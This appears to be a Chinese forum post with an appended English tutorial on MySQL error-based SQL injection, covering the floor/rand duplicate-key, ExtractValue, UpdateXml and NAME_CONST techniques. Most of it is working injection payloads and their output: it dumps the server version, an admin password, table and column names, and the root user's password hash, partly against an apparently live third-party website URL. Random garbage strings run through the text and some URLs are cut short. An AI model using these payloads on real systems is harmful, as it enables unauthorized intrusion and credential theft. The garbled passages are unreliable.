mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
8 Y9 i5 B9 Q0 b5 ~+ H4 n+—-+——-+———+
1 u# f6 B) e3 D% `2 G|  1 | test  | do it   |
  w7 l: s3 r4 q! h) ~+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
$ z- V9 A, Z: X1 D1 yERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
) {% ~# I0 ~; Z2 h3 ^ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

/ }6 r5 A. w/ p: C3 ^# B
. D( x3 V& K5 ?, h; C

再收集：

/ C6 r$ i5 U. Q+ \% G+ Khttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
3 [& K' {. T: U3 o
% q3 N+ I; f; phttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
+ P. @, A8 r' Y
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
9 E1 v' n" F' u; [
MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.


相关信息
) K9 d8 _! j' ]4 [- C4 B5 G0 R( a
3 k& i& Z  h! `6 ~, l8 m3 nNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

2 _( w: |# b% @1 \) s8 I& FCode:
  j& s9 N$ ^% ^1 s0 {* `NAME_CONST(DATA, VALUE)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

SELECT NAME_CONST('TEST', 1)
- P* G7 R1 u8 V* a7 q4 Z" v

- n2 p) Z3 T! ~! t
& ~$ k  Y3 F- a5 d|---------------|
) i0 R( V! O# g  F|     TEST      |
# ~1 ?3 e7 s' D% a: O* C|               |
$ w- [& z( i8 V3 e3 D|---------------|
4 i0 V7 t, p% C3 O, ~' K" Z: y|       1       |
|               |
|---------------|
# I9 k! w3 y7 B! s8 _! e% L! u/ L! }
4 C- n1 V2 w7 m
  i( e. {( A  s
$ `, b. o4 n+ y& S1 d( U4 h
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
4 D3 R- R# X: b- K" pIntro to MySQL Variables

Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
  G9 e- \& P5 D/ N* y- t
Code:
2 h4 @: b" O" s" [0 z) _http://www.baido.hk/qcwh/content ... ;sid=19&cid=261



( M1 F# ?; P8 k

Code:
4 y/ D, ~; }$ Y7 B% A2 vand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--

8 W3 h3 M( \5 B0 K
VAR = Your MySQL variable.
8 T: V, V# |2 ?2 O
MySQL 5.1.3 Server System Variables

Let's try it out on my site..

Code:
9 G- P, b/ m. X) K$ {5 ^http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

Erroruplicate column name '5.0.27-community-nt'


. m( R+ V! z3 P
- Q2 T, A. T% n) S# @
, z; ]6 C; `& {0 ?1 L
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
# g" ?$ s% X: V+ Y5 R3 w' _
Data Extraction

! X5 v) V( S/ _: }  a+ LCode:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--

) K0 C! r5 Z* m& ]- r/ r$ b
We should get a duplicate column 1 error...
9 o! V: h6 X- Q6 {
Code:
: @3 f# E+ x- Z) O9 ?9 D3 Z1 S5 j! Ghttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1
1 h8 Y0 `& b8 w7 @$ N  E

4 e2 D6 S. n0 V8 n, U+ Z0 M! ^
( Y2 U5 T- K* `. w" e
/ S; s$ h; [( x; F' ^
& _6 L$ a3 A: ?6 C) ?
- v' p1 `* p" t6 h5 s" aNow let's get the tables out this bitch..

1 o0 v( O5 s5 i1 a; R3 k- A3 o6 RCode:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--

4 I6 a7 I, |& j  K
5 r, {; J3 I5 w& b8 j2 [/ B1 sLet's see if it works here, if it does, we can go on and finish the job.
5 P- t$ T# W$ `. a0 U$ F3 f
3 M, P5 Z# w$ o/ }3 x' xCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
  _0 T6 K% L& V

: I1 |% t% Z! gErroruplicate column name 'com_admanage

/ c) Z' t+ N! j6 d2 \  I
, _8 J" l' O# c


, v6 R+ N- K0 u* A
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
4 H0 y4 z5 d6 m+ b
Let's get the columns out of the user table..
  Z  ]7 V6 H# E* X8 n7 L/ a
Code:
: X8 z/ P# Y) ]9 a7 L: Z+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
4 e) [# j/ J2 ]' \
. B* q" K2 x5 z- B% i
/ @1 u5 F  a6 MSo mine looks like this, and I get the duplicate column name 'Host'.

- m) I: O$ f" z/ U9 LCode:
% V1 t% o0 Y3 Z  U$ Uhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

# M) O& y& }. ^0 {Erroruplicate column name 'Host'
0 Q8 ~- j* F8 x1 F( m  S


+ [0 L8 I( J+ O* t* P
9 K# V2 y% u4 p. c& {' N7 M/ R
9 a% F8 V- y7 `( g7 g
Woot, time to finish this bitch off.
8 J/ B0 x& `/ M& h, s9 Y8 h
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
$ s: J+ H/ m( c0 A+ D
. ]. v2 n. h9 l7 j  m3 O
" g* T5 _* D2 M0 M8 M) G$ {, F5 r" uSo mine looks like this...

- `% f3 b# Z; M2 p. h' HCode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'


! r7 A+ Q! |4 p% U  U
- |" E. Z7 p  Q7 \8 }( s
$ W9 \% ?+ Q0 A6 x
; c: C  E) T4 U3 M
6 f2 _' U& g" O) j; x! u: _And there we have it, thanks for reading.